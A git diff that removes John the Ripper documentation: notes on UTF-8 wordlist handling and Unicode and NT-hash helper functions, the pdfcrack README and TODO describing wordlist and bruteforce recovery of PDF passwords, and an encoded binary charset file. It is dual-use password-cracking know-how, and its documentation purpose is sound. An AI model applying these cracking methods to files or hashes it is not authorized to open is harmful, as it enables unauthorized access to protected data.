slower than the default ISO-8859-1 one, so -it's advisable to only use this when you have to. That is, when your -wordlist contains characters not included in ISO-8859-1. -- Some wordlist rules may cut UTF-8 multibyte sequences in the middle, -resulting in garbage. You can reject such rules with -U to have them in -use only when --utf8 is not used. -- Beware of UTF-8 BOM's. Do not use them (they will cripple the first word -in your wordlist, that's all). - --- - -These contributions to John are hereby placed in the public domain. In -case that is not applicable, they are Copyright 2009, 2010, 2011 by me and -hereby released to the general public. Redistribution and use in source -and binary forms, with or without modification, is permitted. - -magnum diff --git a/data/john/doc/UTF8-DEVEL.txt b/data/john/doc/UTF8-DEVEL.txt deleted file mode 100755 index cccb5f39bf..0000000000 --- a/data/john/doc/UTF8-DEVEL.txt +++ /dev/null @@ -1,71 +0,0 @@ -These are "public" functions that can be used for supporting UTF-8 in your -own formats for JtR. All are put in unicode.c. - -If you are not aware of UCS-2, just consider it a synonym to UTF-16. For our -purposes, they are the same. - - -Convert from ISO-8859-1 or UTF-8 to UTF-16LE: -============================================= -Source format depends on --utf8 flag given to john when running. -If length is exceeded or malformed data is found, it will return a negative -number telling you how much of the source that was read. That is, a return -code of -32 means you have an UNKNOWN number of characters of UCS-2 [use -strlen16()] in the destination buffer and you should truncate your -"saved_plain" (if applicable) at 32. - - #include "unicode.h" - int plaintowcs(UTF16 *dst, int maxdstlen, const UTF8 *src, int srclen); - - - -Convert UTF-8 to UTF-16LE: -========================== -Always from UTF-8. This is optimised for speed. If length is exceeded or -malformed data is found, it will return a negative number telling you how much -of the source that was read. That is, a return code of -32 means you have an -UNKNOWN number of characters of UCS-2 [use strlen16()] in the destination -buffer and you should truncate your "saved_plain" at 32. - - #include "unicode.h" - int utf8towcs(UTF16 *target, int maxtargetlen, - const UTF8 *source, int sourcelen); - - - -Convert UTF-16LE to UTF-8: -========================== -Currently used in NT_fmt.c in order to avoid using a saved_plain buffer. - - #include "unicode.h" - extern char * utf16toutf8 (const UTF16* source); - - - -Return length (in characters) of a UTF16 string: -================================================ -Number of octets is the result * sizeof(UTF16) - - #include "unicode.h" - int strlen16(const UTF16 *str); - - - -Create an NT hash: -================== -This will convert from ISO-8859 or UTF-8 depending on the --utf8 option. The -function will use Alain's fast NT hashing if length is <= 27 characters, -otherwise it will use Solar's MD4. Lengths up to MAX_PLAINTEXT_LENGTH is thus -supported with no hassle for you. If length is exceeded or malformed data is -found, it will return a negative number telling you how much of the source -that was read. That is, a return code of -32 means you should truncate your -"saved_plain" at 32. - - #include "unicode.h" - int E_md4hash(const UTF8 *passwd, int len, unsigned char *p16); - - - -NOTE that there are more functions available in ConvertUTF.c.original -(ConvertUTF.h.original) and if we need any of them, we should copy them to -unicode.c/h and simplify/optimize them. diff --git a/data/john/doc/pdfcrack_README b/data/john/doc/pdfcrack_README deleted file mode 100755 index bec2be043a..0000000000 --- a/data/john/doc/pdfcrack_README +++ /dev/null @@ -1,48 +0,0 @@ -Code and documentation are copyright 2006-2008 Henning Norén - -Parts of pdfcrack.c and md5.c is derived/copied/inspired from -xpdf/poppler and are copyright 1995-2006 Glyph & Cog, LLC. - -The PDF data structures, operators, and specification are -copyright 1985-2006 Adobe Systems Inc. - - -Project page: http://sourceforge.net/projects/pdfcrack/ - - -pdfcrack is a simple tool for recovering passwords from pdf-documents. -It should be able to handle all pdfs that uses the standard security handler -but the pdf-parsing routines are a bit of a quick hack so you might stumble -across some pdfs where the parser needs to be fixed to handle. - -Type 'make' (or 'gmake' if you have BSD-make as default) to build the program. -You will need to have GNU Make and a recent version of GCC installed but there -are no external dependencies on libraries. -You will have to add the -march-switch in the CFLAGS-option in Makefile -for best optimization on your platform. Look into the GCC-manual -(http://gcc.gnu.org/onlinedocs/) if you are unsure. - -The program is distributed under GPL version 2 (or later). - -Features available in this release (check TODO for features that might come): -* Both owner- and user-passwords with the Standard Security Handler, rev 2 & 3. -* Search by wordlist -* Search by bruteforcing with specific charset -* Optimized search for owner-password when user-password is known (or empty) -* Extremely simple permutations of passwords (makes first letter uppercase) - -- currently only useful for bruteforcing with charsets: -* Auto-save when interrupted (Ctrl-C or send SIGINT to the process) -* Loading saved state - -- currently only for bruteforcing with charsets: -* Minimum length of password to start at -* Maximum length of password to try - - -Sort your wordlist by length for best performance and consider that almost -all passwords in PDFs are in iso latin 1 so use the correct character encoding -in your terminal and/or wordlist when using special characters. - -This tool can not decrypt a Password Protected PDF. -Look up the pdftk toolkit which can do that, when you know the password. diff --git a/data/john/doc/pdfcrack_TODO b/data/john/doc/pdfcrack_TODO deleted file mode 100755 index 6b4ec18327..0000000000 --- a/data/john/doc/pdfcrack_TODO +++ /dev/null @@ -1,26 +0,0 @@ -Replace pdfparser with a more robust and complete parsing of a PDF - -Optimize the crack and crypto-routines for greater performance - -Add support for third-party security handlers - -Add real permutation-support. Maybe John the Ripper could be a -source of inspiration? - -Add support for masked passwords, when we already knows parts of the password - - -Furthermore: - -Replace pdfparser with a complete representation of the structure of a -PDF-file that can be used to find information and more importantly, can be -written out again to a file. -For this we need to understand/represent objects (indirect and direct), the -file structure (lineraized and standard) and xreftables with trailers. -We need to be able to update/fix the xreftables when writing it. -We also need support for LZM-compression that is used for many streams. - -When the above item is done there is nothing stopping us from adding complete -RC4-keyspace search and decrypt without having to bother cracking the -passwords. An example of this search can be viewed at: -http://www.upl.cs.wisc.edu/~hamblin/files/rc4_single_brute.c diff --git a/data/john/run.linux.x64.mmx/all.chr b/data/john/run.linux.x64.mmx/all.chr deleted file mode 100644 index 6c8c9dff534defb88d762c45ffb5cd6d3c218e67..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 341064 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 